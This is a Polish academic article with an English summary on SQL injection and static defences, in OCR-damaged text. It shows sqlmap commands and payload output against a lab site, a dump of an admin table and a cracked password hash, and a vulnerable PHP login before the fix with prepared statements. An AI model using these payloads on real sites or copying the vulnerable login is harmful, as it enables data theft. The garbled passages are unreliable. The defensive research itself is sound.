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ANALIZA STATYCZNYCH METOD OBRONY
PRZED ATAKAMI SQL INJECTION

W artykule zaprezentowano anagligodatndci systeméw bazodanowych na ataki
typu SQL Injection. Praca rozpoczyna ed przedstawienia charakterystyki anali-
zowanego ataku w kont&ke baz danych. Bazy danych, pomimo kluczowego
znaczenia w infrastrukturze wszelakich systeméwneadzag si¢ niedostatecznym
poziomom zabezpiececo w konsekwencji me@ prowadat do powanych strat.
Podstawowym zagéeniem g ataki SQL Injection, na ktére obecnie nie vwpsija
zewretrzne mechanizmy obrony. W tym celu zostalo zapnop@ne rozwjzanie
zabezpieczgfe systemy bazodanowe poleg& na odpowiednim przygotowaniu
kodu, ktéry obstuguje dynamiczne zapytania do lekyych. Testy wykazaty du
skuteczné¢ zabezpiecze przed aktualnie znanymi atakami SQL Injection.yArt
kut adresowany jest do administratorow baz danycseezegdlnéci na potrzeby
ustug webowych.

Stowa kluczowe:bazy danych, bezpieazstwo, podatn&t, sqlmap

1. Wprowadzenie

Aplikacje webowe staty sipraktycznie nieodcznym elementem naszego
wspotczesnegaycia codziennego. Na przykiad:sierealizujemy zakupy w
sklepie internetowym, wypwczamy ksizke z internetowego ksgozbioru bi-
blioteki, rezerwujemy bilet na samolot, mecz, cayvet logujemy si do portali
internetowych; korzystamy z aplikacji webowej, ladrajprawdopodobniej dzia-
ta w oparciu o relacyp baz. Dlatego niezwykle istotnym jest zapewnienie
wysokiego poziomu bezpieargwa baz danych, tak, aby zapetviriforma-
cjom wprowadzanym podczas realizacji transakcjufpac i integralngd¢. Jed-
nak w praktyce jest to niezwykle trudny i zémy proces.
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Najpowaniejszym oraz najgiciej wysepujacym zagraeniem dotycg-
cym systeméw bazodanowych jest obecnie SQL Injecfl. Pomimo po-
wszechnie znanej skali problemu,e8zci¢ instytucji nie zdaje sobie sprawy
jak istotny i destrukcyjny wptyw na aplikacje imetowe, systemy e-commerce
oraz bardzo wiele innych systeméw, ktére dzigtajoparciu o relacyjne bazy
danych mee mi€ to zagraenie. W podatnym na atak SQL Injectignodowi-
sku informatycznym, mia dogé do ujawnienia wszystkich informacji przecho-
wywanych w bazie danych, takich jak logingytkownikow, hasta, numery kart
ptatniczych, adresy, numery telefonéw i wiele, wieinych poufnych informa-
cji.

Czym wkc jest SQL Injection? Jest to podatéoukierunkowana na apli-
kacje internetowe, daga atakujcemu maliwos¢ ,wstrzykniecia” do bazy da-
nych, dodatkowego, wtasnego zapytania SQL. Atakijexliwy do wykonania
na aplikacjach, ktdre w nieodpowiednim stopniu, hib realizuj filtrowania
zapyta wysytanych do bazy danych. W konsekwencji aplizagjsle zapytanie
do bazy, ktére zostanie wykonane tak samo jak aapsgt do ktérego kod zostat
»,doklejony”. Skutecznie wykonany atak s@da& mozliwosé odczytania, zmia-
ny, wstawienia nowych czy usucia danych z bazy, nbwos¢é ominiecia me-
chanizméw zabezpieczalych. W przypadkach szczegoélnie niezabezpieczonej
bazy danych, atakagy maze uzyska dostp do wykonywania poledesyste-
mowych z poziomu bazy danych oraz twarzypdczytywa pliki systemowe [2,
3].

W zwigzku z ogromnym zageeniem wynikagcym z tego typu atakow
opracowanych zostato kilka sposobéw zapobieganigzyk$waniu wtasnych
fragmentow zapyta Jednak pomimo pogjych dziatah nie spowodowaly one
wyeliminowania problemu. Wynika to gtdwnie z powoduzej elastyczngci
jezyka SQL. Relacyjne systemy bazodanowe, projektewaroparciu ogzyk
SQL umaliwiaja duze spektrum dziatania dla twércy aplikacji, co jeatazem
zale i wady. Jednym ze sposobow ochrony przed tym atakigimagujce na
sygnaturach systemy IDS/IPS, ktorych zadaniemvigszukiwanie i usuwanie
pakietow skierowanych do bazy danych zawigmgh kod SQL Injection. Wa-
da tego rozwizania jest statyczny charakter sygnatur, gdzie rikabja jedne-
go parametru w przesytanym kodzie, powoduje nierygik ataku [2].

2. Statystyczne ugcie problemu

W 2014 roku, organizacja Trustwave zajgug s¢ wspomaganiem zwal-
czania cyberprzegbczaici szczegllnie w obszarach biznesowych, przeprowa-
dzita badania podat&a aplikacji webowych za pomacTrustwave App Scan-
ner i zidentyfikowata niespetna 18 tysy podatnéci, z czego co najmniej jedn
podatné¢ posiadato a 98 procent przetestowanych stron internetowych: Me
diana ilgci podatngci przeliczana na jednprzetestowaq strore wzrosta w
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stosunku do poprzedniego roku o 43 procent i wyai@® podatnéci. Az 17
procent wykrytych zagten stanowity réne warianty SQL Injection [5].

Zestawienie dziegtiu najpopularniejszych metod ataku na aplikacje we
bowe, réwnie pokazuje pewmnzaleznos¢é. Wszystkie rodzaje atakéw zachowaty
niemal jednakowy udziat w 2014 jak w 2015 roku,omaiast ilgi¢ atakow SQL
Injection wzrosta o okoto 5 punktéw procentowych [1

Atak ukierunkowan
DDoS

Kradziez kont
Malware

Malvertising

Kalsyfikacja atakdw

Malicious IFRAME/JS|
DNS Hijacking
XSS

Inne

L A
0 5 10 15 20

Udziat procentowy atakow [%6]

Rys. 1. Najpopularniejsze typy atakéw wg. rapodakmageddon.com
Fig. 1. The most popular attack techniques accgritirhackmageddon.com report
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Rys. 2. llé¢ wykrytych rodzajéw podatréei na SQL Injection wg. nvd.nist.gov

Fig. 2. The number of detected types of SQL ingettiulnerabilities according to nvd.nist.gov
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Zaskakujce jednak jest toze wzrost ildci odnotowanych atakéw wcale
nie idzie w parze z ikeia odkrytych luk bezpieczstwa wykorzystujcych
technile wstrzykiwania zapytaSQL.

Swiadczyt to maze przede wszystkim o tyrde aplikacje tworzone przez
programistow nadal nieasodpowiednio zabezpieczane przed SQL Injection.
Mimo, ze ilos¢ zgtaszanych podatéa nie jest wielka w stosunku do pozosta-
tych, poniewa stanowi okoto 9% wszystkich wykrytych luk od 198&ku, to
nadal nie mgemy sobie z nimi poradzi

3. Analiza podatnaci systeméw bazodanowych
3.1 Testy lokalne

Ataki typu SQL Injection, a w szczegdkud blind SQL Injection, pochia-
niaja ogromne zasoby czasu, gdyby byly przeprowadzaneuataie. Do tych
celéw powstato narzizie sqlmap. Jest to jedno z najpopularniejszyactacdai
do przeprowadzania atakow SQL Injection na aplikagjvw. Nie jest progra-
mem uniwersalnym gdypotrzebuje specyficznych warunkéw do dziataniez le
w wigkszaci przypadkéw sprawdzagsbardzo dobrze. Do jego dziatania wy-
starczy podad adres strony wraz z zadaniami typu GET
a sqlmap bdzie potrafit przetestowajej podatné¢ wieloma zaimplementowa-
nymi atakami [6].

Wykorzystane bazy danych:

1. MySQL —wersja 5.7

2. PostgreSQL — wersja 9.3.10

3. Oracle SQL - Oracle Database Express Edition 119

Wszystkie trzy powssze systemy zostaty wybrane z powodu ich nggwi
szej popularnéci, zainstalowane zostaty ich najnowsze wersje, talsty pene-
tracyjne byty jak najbardziej wiarygodne oraz zbfie do aktualnych warunkéw
panupcych w Internecie.

Strona internetowa wykorzystana w ataku zostgkésaaa w¢zyku HTML

oraz PHP. Bylfa to prosta aplikacja webowa, na kttmajdowat s panel logo-
wania, spis dogpnych tematéw oraz przyciski do ich rezerwacji.
Aby rozpocaé¢ skanowanie naeglziem sglmap, haky na stronie internetowej,
ktéra chcemy przetestowaznale¢ podatr podstrog, ktéra przekazuje para-
metrami informacje do zapytaktére nastpnie wedrujag do bazy danych. Dla
zainstalowanej tutaj stronydzie to na przykiad link:

localhost/register.php?typ=premiowane&id=1

Wykorzystujc wbudowane naerlzie sqlmap w systemie Kali Linux w linii
polecé wpisujemy:

sqlmap -u "192.168.1.114/register.php?typ=premiowane&id=1"
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Jest to wywotanie programu sqlmap z gpdj, w ktérej podany adres URL
okresla cel ataku. Efektem dziatania tego r@za, bez podanyckadnych do-
datkowych parametrowadkryte podatréei w tej aplikacji webowej oraz pay-
load ktory zostat wystany.

Dla bazy danych MySQL wykryte zostaly ngsijace podatn£ci:

Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: typ=premiowanef&id=1 AND 9593=8593
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: typ=premiowane&id=1 AND (SELECT 4223 FROM(SELECT COUNT(*),CONCAT(0x716d737a71,(SELECT ({CASE WH
EN (4223=4223) THEN 1 ELSE @ END)),0x71737873971,FLOOR(RAND({@)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS G
ROUP BY x)a)
Type: UNION query
Title: MySQL UNION gquery (NULL) - 1 column
Payload: typ=premiowane&id=-7595 UNION ALL SELECT CONCAT(0x716d737a7l,0x6d6e4553647352697a63,0x71737879
T1)#
Type: AND/OR time-based blind
Title: MySQL = 5.0.11 AND time-based blind
Payload: typ=premiowane&id=1 AND SLEEP(5)
[17:38:42] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.12
back-end DBMS: MySQL 5.8
[17:38:42] [INFD] fetched data logged to text files under '/Jusr/share/sqlmap/output/192.168.1.114"

[*] shutting down at 17:38:42

Rys. 3. Zrzut ekranu przedstawia wykryte podé&thpa pomoe narzdzia SQLMAP
Fig. 3. Screenshot shows discovered vulnerabilitas SQLMAP tool

Widaé, ze zostaly odkryte 4 nitiwe rodzaje SQL Injection dozycia
w testowaniu tej bazy. Jest ona podatna, na comejrte cztery ataki. Jest to
atak boolean-based blind na parametrze id za ppdualdejenia tautologii AND
9593=9593; error-based za pormo&ND oraz WHERE i HAVING; UNION
oraz AND/OR time-based blind.

Wyswietlone zostaty rownieinformacje o systemie operacyjnym, na kto-
rym baza jest zainstalowana, wersja serwera wwwa wofersja samej bazy da-
nych. Wszystkie te informacjey svyciggniete za pomog SQL Injection i po-
krywaja sie z rzeczywistécia.

Aby odkry, jakie schematy zostaly utworzone w ¢le tego systemu
bazodanowegoayta zostanie opcja --dbs nafdau polecenia.

sqlmap -u "192.168.1.114/register.php?typ=premiowane&id=1" --dbs
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available databases [6]:
*] baza

*] information_schema
mysqgl
performance_schema

*] phpmyadmin

*] test

Rys. 4.Wykryte schematy baz danych, zainstalowatestewymsrodowisku MySQL
Fig. 4. Discovered database schemas from MySQletestonment

[

[i
[*
[*
[
[*

Nastpnie za pomog opcji --tables oraz -D wskazga, z ktorej bazy
chcemy wywietli¢ tabele, uzyskujemy nagiujacy zrzut.

sqlmap -u "192.168.1.114/register.php?typ=premiowane&id=1" --tables -D
baza

Database: baza
[5 tables]

| |
| java |
| premiowans |
| standardowe |
| users |

Rys. 5. Wykryte tabele w schemacie ,baza”
Fig. 5. Discovered tables from ,baza” schema

Aby wyswietli¢ zawartd¢ tabeli wywamy opcji --dump oraz -T oraz -D aby
doprecyzowé o jaky chodzi tabel i w jakiej bazie.

sqlmap -u "192.168.1.114/register.php?typ=premiowane&id=1" --dump -T
admins -D baza

Database: baza

Table: admins

[3 entries]

i Fom - +
| id | username | password
i Fom - +
| 1 | admin | haslo |
| 2 | user | p@sswlrd

| 3 | test_user | gwertyl23
i Fom - +

Rys. 6. Zrzut zawartei tabeli admins
Fig. 6. Dump of admins table

Sprawdzajc za pomog phpMyAdmin, wid&, ze dane uzyskane atakiem
rzeczywicie sk zgadzag, a sam atak trwa okoto kilku sekund.
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Przeprowadzaf testy na trzech #ych systemach bazodanowych dlacpi
réznych typéw ataku za pomgoarzdzia sqlmap, tak prezeniugie wyniki:

Tabela 1. Odkryte podatém w trzech testowanych systemach bazodanowych
Table 1. Discovered vulnerabilities in three testathbase systems

MySQL PostgreSQL Oracle XE' 11.2
Boolean-based blind podatny podatny podatny
Time-based blind podatny podatny odporny
Error-based podatny odporny odporny
UNION query based podatny podatny podatny
Stacked queries odporny podatny odporny

Dla testowanego systemu PostgreSQL dodatkowo maeplzona zostata
proba odgadgtia hasta dla istniegych wytkownikdéw. Hasto aytkownika
userznajdowato s w stowniku zaimplementowanym w nadziu sglmap, dla-
tego nie bylo dla niego problemer® przechowywane hasta gahaszowane
algorytmem MD5. Cal& trwata 10 sekund.

144 [INFO] star
14: [INFO] s
l"”l'- [INFO] crac ] 5
atabase management system users password hashes
*] postgres [1]:
password hash: md5883cb7a79bd5bBldeB9a7a3bcBaZbite
[*] user [1]:
password hash: md577b64b2aeB0b052ed46c1c3d2bB19791
clear-text password: gwerty

res_passwd)

Rys. 7. Zrzut zaszyfrowanych haseytkownikéw systemu bazodanowego PostgreSQL
Fig. 7. Dump of user password hashes from PostdreSQ

3.2 Testysrodowiskowe

Dodatkowo przeprowadzone zostaty drobne, nieinyagztesty, polegage
wytgcznie na dopisaniu znaku apostrofuzddan GET wysylanych przez prze-
gladarki do warstwy logicznej aplikacji web, aby spdar jak sk zachowu
przy wpisywaniu innych warégi niz zgodnie z zamierzeniem programisty.

Testy te pokazalyze na kilkadziegit losowo wybranych stron interneto-
wych jednostek samagdu terytorialnego w Polsce, co najmniej w kilkunast
istniato podejrzenie o niiwosci przeprowadzenia takich atakow ze weziyl na
brak filtrowania wprowadzanych fi@. Konkretne szczegdty, z powodu #ie
wych zagraen, nie mog zosta opublikowane.

Kolejne proby oraz bardziej szczegdtowe testy gdnie byly przeprowa-
dzane gdy testy penetracyjne wykonywane bez wyrg zgody g tamaniem
prawa. Ukazuje to jednake podatné¢ na ataki SQL Injection to nie jest pro-
blem nieistniejcy i, ze zbyt mato 0s6b zdaje sobie z tego sprgakie zagrae-
nia czyhag w sieci i jak prostessto do przeprowadzenia ataki.
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4. Mechanizmy obrony

Jak mana zauway¢ po przeprowadzonych testach, nieodpowiednio napi-
sane aplikacje wykorzystige dynamiczne budowanie zapyfigzyka SQL sta-
nowiag powane zagraenie dla znajdacych sé w bazie poufnych danych. Jedn
Z bezpieczniejszych alternatyw do dynamicznego ivadia zapyta, jaka maz-
na zastosowas interfejsy API, ktére pozwalajna dodawanie parametrow
zapyta, jako binded variablesW jezyku polskim funkcja ta zostata nazwana
bindowaniem zmiennych, co jest niezbyt adekwatremidj oddajce charakter
tej funkcji jest stowgpodpinanie Uzywajac tak zwanych zapyhaparametryzo-
wanych, zabezpieczamyegsprzed SQL Injection, poniewgoodpinanie polega
wlasciwie na przeniesieniug¢ézenia danych z przygotowanym zapytaniem z
warstwy logicznej na system bazodanowy. Do bazyytaysy tak naprawg
szkielet zapytania ze specjalnie ckoaymi polami, do ktoérych piniej wsta-
wiane @ dane, przestane za pomospecjalnej metody, gdzie memy dodat-
kowo okréli¢ ich typ.

Przyktadem formularza logowania podatnego na Section mae by
nastpujacy kod:
$login=$_POST[ 'uname'];
$password=$_POST[ 'password'];

$sql="SELECT * FROM users WHERE username='$login' and
password="'$password'";

$result=mysqli_query($link, $sql);
$count=mysqli_num_rows($result);

if($count).. /*Logowanie udane*/

Jzyk PHP posiada kilka frameworkow, ktére marpst@ uzyte do bez-
piecznego gczenia s} z baz danych za pomacparametryzowanych zapyita
Sa to miedzy innymi PHP Data Objects (PDO) oraz pakiet dedydny bazie
MySQL - mysqli.

Pakiet mysqli, dogpny od wersji 5.xgzyka PHP umdiwia tgczenie sj
Z baz MySQL w wersji, co najmniej 4.1. Jest jednym zazejciej wykorzy-
stywanych interfejsow do pgizer z MySQL i obstugujedczenie zmiennych za
pomog znaku zagpczego ‘?’-pytajnika.

Przyktadowe zabezpieczenie formularza logowaniaonggstupc to API:

$sql="SELECT username FROM admins WHERE username=? and password=?";
$stm=$1link->prepare($sql);

$stm->bind_param("ss",$login,$password);

$stm->execute();

$stm->store_result();

$stm -> fetch();

$count=$stm->num_rows;

if($count) .. /*Logowanie udane*/
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PHP Data Objects to howoczesny interfejs zaproyje&ny dla ¢zyka PHP
od wersji 5.1, stigecy do komunikacji z bazami danych. Jego nelsiy zaleg
jest uniwersalng@. Jest oparty na sterownikach do poszczegoélnychdbaygch,

Z ktorych kady udosgpnia podstawowe metody do obstugi swojej bazy, iden
tyczne z pozostatymi, oraz dodaje wlasne, szczegdletody do obstugi dodat-
kowych funkcjonalnéci konkretnego systemu bazodanowego.

Przyktadowe wykorzystanie:

$stmt = $db->prepare('SELECT * FROM users WHERE username=? and
password=?");

$stmt->bindvalue(1l, $_POST['uname'], PDO::PARAM_STR);
$stmt->bindvalue(2, $_POST['password'], PDO::PARAM_STR);
$stmt->execute();

$userRow=$stmt->fetch(PDO: : FETCH_ASSOC);

if($userRow) .. /*Logowanie udane*/

Powyzszy kod, z racji,ze jest wieloplatformowy, przetestowany zostat
oprécz systemu bazodanowego MySQL rowme PostgreSQL oraz Oracle
Database XE 11.2.

Testy podatn€ri za pomog narzdzia sqlmap potwierdzgjze zabezpieczenie
zostato wykonane poprawnie, poniesweaawet na najwiszym poziomie testow,
po wystaniu okoto 31 tyscy réznych payloadowzadne maliwe podatndci nie
zostaly odnalezione nadnym z trzech badanych systeméw.

5. Whnioski

Na podstawie przeprowadzonych testow penetraclyjmgctrzech rinych
systemach bazodanowych ma wyciagna¢ wniosek,ze niezaleénie od uytego
systemu, jéli nie jest on poprawnie skonfigurowany, przechowyw dane as
powaznie naraone na ataki.

W kwestii bezpieczestwa nie bylo diej raznicy pomidzy wszystkimi
trzema systemami bazodanowymi. Na&j@@] podatnéci na ataki zostato wykry-
tych przy skanowaniu PostgreSQL za pomsglmap, natomiast to czy tych
zagraen jest dziesj¢ czy jedno, nie ma najmniejszego znaczenia. Sqltakp
czy inaczej bdzie potrafit wydoby wszystkie informacje z bazy danych. Nato-
miast, jéli chodzi o manualne ataki to w tej kwestii najggrgest MySQL. Ze
wzgledu na swqj popularné¢ w Internecie istnieje mnéstwo artykutéw traktu-
jacych o tym jak zaatakowaMySQL za pomog SQL Injection. W técie prze-
prowadzonym za pomacsglmap, najmniej podatéa wykrytych zostato przy
Oracle Database, co jednak nie powinno dzigdyz jest to komercyjne rozwi
zanie. Mimo,ze wersja XE to wersja darmowa to ha pewno posiadavaele
rozwigzan stosowanych w wersjach wgzych, lecz z ograniczonymi funkcjami.

Przeprowadzenie identycznych atakow po zabezpéaczeaz zgodnie z
zaleceniami pokazalae darmowe rozvgzania wcale nie odstgj réwniez po-
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trafig by¢ bezpieczne, lecz jak zwykle, przy obecnym goisttechnologicznym
to cztowiek byt najstabszym ogniwem i to jego niedza mogta skutkowa
wystawieniem systemu bazodanowego na bezproblemataki. Wystarczy
nawet odpowiednio napisana strona internetowa, kovzystaniem biblioteki
PDO oraz prepared statements i od razu otrzymujedegcydowag poprave
bezpieczéstwa. Pamita¢ nalery jednak,ze zadne rozwgzanie nie jest w 100%
bezpieczne.
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ANALYSIS OF STATIC METHODS OF DEFENSE AGAINST SQL
INJECTION

Summary

The article presents an analysis of SQL Injectiamerabilities. The work begins with the
presentation of the characteristics of the attawkiy@ed in the context of database. Databases,
despite the key role in the infrastructure of miimgls of systems are characterized by insufficient
level of security, which in turn can lead to sesdases. The main threat are SQL Injection at-
tacks, which currently does not have external defemechanisms. For this purpose, there is a
solution to increase the security of database systavolving the proper preparation of the code
that supports dynamic database queries. Testsdtmven high effectiveness of protection against
currently known SQL Injection attacks. Article isneed at database administrators in particular for
Web services.
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